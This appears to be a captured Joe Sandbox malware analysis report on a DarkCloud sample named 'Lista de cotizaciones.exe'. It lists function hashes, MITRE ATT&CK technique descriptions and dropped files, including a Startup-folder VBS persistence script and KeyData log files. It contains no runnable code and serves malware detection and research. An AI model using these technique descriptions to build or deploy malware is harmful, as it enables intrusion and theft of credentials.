Instruction ID: 52634211c9d846074322d16cb80cbc41095a465855665244dc4ce6018e82fde6
Opcode Fuzzy Hash: 072461a5d403d1300dcf7be9eec8f387aaa4537a6b1903c686e66460517642d3
Instruction Fuzzy Hash: 08210672504244DFDB15DF10D8C0F16BF66FB98324F28C56AE9090B356C336D856EAE2

Function 00FDD5EF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1625255347.0000000000FDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_fdd000_boost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1166f709330a6c50fb0ccab333658baa4cf0de4601631cd9e1789cef95a599a7
Instruction ID: 1b4a1c7309f69e9fb2c77f7ad55faebe086af79729d8a17b067ce131d0e9a692
Opcode Fuzzy Hash: 1166f709330a6c50fb0ccab333658baa4cf0de4601631cd9e1789cef95a599a7
Instruction Fuzzy Hash: D611D376904280CFCB15CF10D5C4B16BF72FB98324F28C5AAD8490B756C336D856DBA1

Function 02970A10 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1626808382.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2970000_boost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e882d0459f679e555df15b7531e46165fb92882c8365e14c0c0f26ceb1ebace9
Instruction ID: 34c761b64f06acfbd03bf727d4306546faeb76e202a914735a0bb535b51529ce
Opcode Fuzzy Hash: e882d0459f679e555df15b7531e46165fb92882c8365e14c0c0f26ceb1ebace9
Instruction Fuzzy Hash: 9CD0C976B442048FCA08ABB8E84499CB7B0EF8827571006A6E239C72B1EB71D851C612

Analysis Process: boost.exePID: 7624, Parent PID: 3968COMMON

Executed Functions

Function 02B004EC Relevance: 1.7, Strings: 1, Instructions: 447COMMON

Download Yara Rule

Strings

8q, xrefs: 02B00851

Memory Dump Source

Source File: 00000010.00000002.1707040062.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2b00000_boost.jbxd

Similarity

API ID:
String ID: 8q
API String ID: 0-4083045702
Opcode ID: 06701aef4faa447d90970cf6c0cace8ddeae78dc5e5e5cbe919cb671608cdabe
Instruction ID: e59b0944da9628623fce353188fac57066aaba41af2bc40842c4091811e0ae93
Opcode Fuzzy Hash: 06701aef4faa447d90970cf6c0cace8ddeae78dc5e5e5cbe919cb671608cdabe
Instruction Fuzzy Hash: ABF0E575900204EFC701DFB8E840ADD77F8FF84300B1046AA8404E7210E631AE418B10

Function 02B00848 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

8q, xrefs: 02B00851

Memory Dump Source

Source File: 00000010.00000002.1707040062.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2b00000_boost.jbxd

Similarity

API ID:
String ID: 8q
API String ID: 0-4083045702
Opcode ID: 06e1266ac61169443fc5f6d9d02edf33ba40007cb3f76147117e8e07811eeb5d
Instruction ID: 6444e5587e8cf16bd061890acd61869716d99811e13f03cdf412124f65859394
Opcode Fuzzy Hash: 06e1266ac61169443fc5f6d9d02edf33ba40007cb3f76147117e8e07811eeb5d
Instruction Fuzzy Hash: D0E01270A0020DEFCB45EFB9E951A5EB7BDFB44640B2086A9D408E7254EA31AF009F95

Function 02B00888 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1707040062.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2b00000_boost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27eb49bf087f95229f6a7644d6080ad30a64b01b4ff3e5d4a3310cd82f44dbe2
Instruction ID: 6ee7c25d58d8078b68312179357ac29a9b23117ef46144bbdad425d69511edc8
Opcode Fuzzy Hash: 27eb49bf087f95229f6a7644d6080ad30a64b01b4ff3e5d4a3310cd82f44dbe2
Instruction Fuzzy Hash: 524139757502108FD749EB39C458A2E7BB2BF8971572148A8E906CB3B2EE75DC42CB80

Function 02B00898 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1707040062.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2b00000_boost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af2f00a3adf527207106212f1d733742b17bd67e2ac31c1f80f1efe3a450949
Instruction ID: b93e215dd9892d9d72252ea6b092b5fdf9a31102c798818a539ac9993785680d
Opcode Fuzzy Hash: 8af2f00a3adf527207106212f1d733742b17bd67e2ac31c1f80f1efe3a450949
Instruction Fuzzy Hash: F04115757402108FD749AB39C458A2E7BB2BF8971572148A8E906CB3B1EE75EC42CB90

Function 02B00A40 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1707040062.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2b00000_boost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3d267c0060ec3cd60dbc44a5d120e37679d54cf6f12ea6cdd0d08152e8c98e
Instruction ID: 299ee475b3fa483bb954ed1b1b38ad96066a2164d640800c6d11cbb93b86efc3
Opcode Fuzzy Hash: 5d3d267c0060ec3cd60dbc44a5d120e37679d54cf6f12ea6cdd0d08152e8c98e
Instruction Fuzzy Hash: 7A21F6327442119FD7259A7EE8D0B7A7BE9FF84724B1448BBD01AC3281DB71D8018B50

Function 010CD5F4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1706565037.00000000010CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10cd000_boost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18af2e7a5b6c85d4ab7fac031a3f65e798313a8438a58fa4f2f803c2ace593d8
Instruction ID: 02cb6d73032e9c49b3046de7d997b4b1584037bae9265a6c199eea3a5ff10e82
Opcode Fuzzy Hash: 18af2e7a5b6c85d4ab7fac031a3f65e798313a8438a58fa4f2f803c2ace593d8
Instruction Fuzzy Hash: 0421F172504244DFDB05DF94D8C0F1ABFA5FB8C714F2085ADE9890A256C336D456CBE2

Function 010CD5EF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1706565037.00000000010CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10cd000_boost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1166f709330a6c50fb0ccab333658baa4cf0de4601631cd9e1789cef95a599a7
Instruction ID: aed741dc685dd702db7ed9930ce98cc38bbc9241c93b4c7caa76af0471241330
Opcode Fuzzy Hash: 1166f709330a6c50fb0ccab333658baa4cf0de4601631cd9e1789cef95a599a7
Instruction Fuzzy Hash: A411DF72504280CFCB06CF44D5C0B1ABFB2FB88314F2485ADD8890B256C336D456CFA1

Function 02B00A10 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1707040062.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2b00000_boost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ffd4c97ce082662e3a6cf55d82c8f904e6d1030171d31949fc8f834f9f23eab
Instruction ID: d5cdb089d90619a144e037f98d51249bbf82f6778b36aaed4efef80eb8cfe066
Opcode Fuzzy Hash: 1ffd4c97ce082662e3a6cf55d82c8f904e6d1030171d31949fc8f834f9f23eab
Instruction Fuzzy Hash: A3D0C976B442048FCA04BBB8E844A9CB7B0EF8827531006A6E239C72F1EB71D851C612

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Lista de cotizaciones.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DarkCloud

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\boost.exe.log

C:\Users\user\AppData\Roaming\Method.exe

C:\Users\user\AppData\Roaming\Method.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataHnoYsPNF.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataKUBssLSi.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataNGBTwQEZ.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataNqUQNNwR.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataOPVBvAcw.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataObBLPFjN.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataPcJeEWCf.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataTcDqRQxl.txt

Windows Analysis Report
Lista de cotizaciones.exe

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre